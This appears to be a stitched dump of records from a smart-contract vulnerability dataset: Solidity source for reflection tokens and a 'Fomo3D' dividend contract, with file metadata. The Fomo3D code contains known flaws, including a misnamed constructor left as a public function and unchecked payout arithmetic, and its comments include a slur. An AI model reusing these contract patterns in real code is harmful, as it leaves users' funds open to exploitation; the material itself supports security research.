rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div(10**2); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if (overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
260,941
12,117
33f597f04450bc9f35b3fef2c5a68faf718f59eedd7d79f5ed31ac8e7bb8abe9
25,694
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.4/0xe4d9306c7c9a275ad286c1349c684e0f2626d0c7.sol
4,494
17,692
pragma solidity ^0.4.20; contract Fomo3D { // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[keccak256(_customerAddress)]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){ require(// is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } event onTokenPurchase(address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy); event onTokenSell(address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned); event onReinvestment(address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted); event onWithdraw(address indexed customerAddress, uint256 ethereumWithdrawn); // ERC20 event Transfer(address indexed from, address indexed to, uint256 tokens); string public name = "FOMO3D"; string public symbol = "F3D"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 5; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 100e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1 ether; uint256 constant internal ambassadorQuota_ = 20 ether; // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(bytes32 => bool) public administrators; bool public onlyAmbassadors = false; //set to false, no ambassadors function Hourglass() public { // add administrators here // add the ambassadors here. } function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // (we dont want whale premines) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } function setAdministrator(bytes32 _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function totalEthereumBalance() public view returns(uint) { return this.balance; } function totalSupply() public view returns(uint256) { return tokenSupply_; } function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if(// is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ((// underflow attempts BTFO SafeMath.sub((sqrt ((_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_) ; return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = (// underflow attempts BTFO SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
222,927
12,118
45a3be5a47af81f26c776f99f2266d1b715167d04acba5791e364e23f50980e9
29,031
.sol
Solidity
false
413505224
HysMagus/bsc-contract-sanctuary
3664d1747968ece64852a6ac82c550aff18dfcb5
0xf39086b7f6d4386e5Ff856B2C08c4A291050C041/contract.sol
5,095
18,263
pragma solidity ^0.6.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DegenMon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint8 private constant _decimals = 8; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 36000000 * 10 ** uint256(_decimals); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; string private constant _name = 'DegenMon'; string private constant _symbol = 'DGM'; uint256 private _taxFee = 180; uint256 private _burnFee = 180; uint private _max_tx_size = 3600000 * 10 ** uint256(_decimals); constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _max_tx_size, "Transfer amount exceeds 1% of Total Supply."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); } function _getValues(uint256 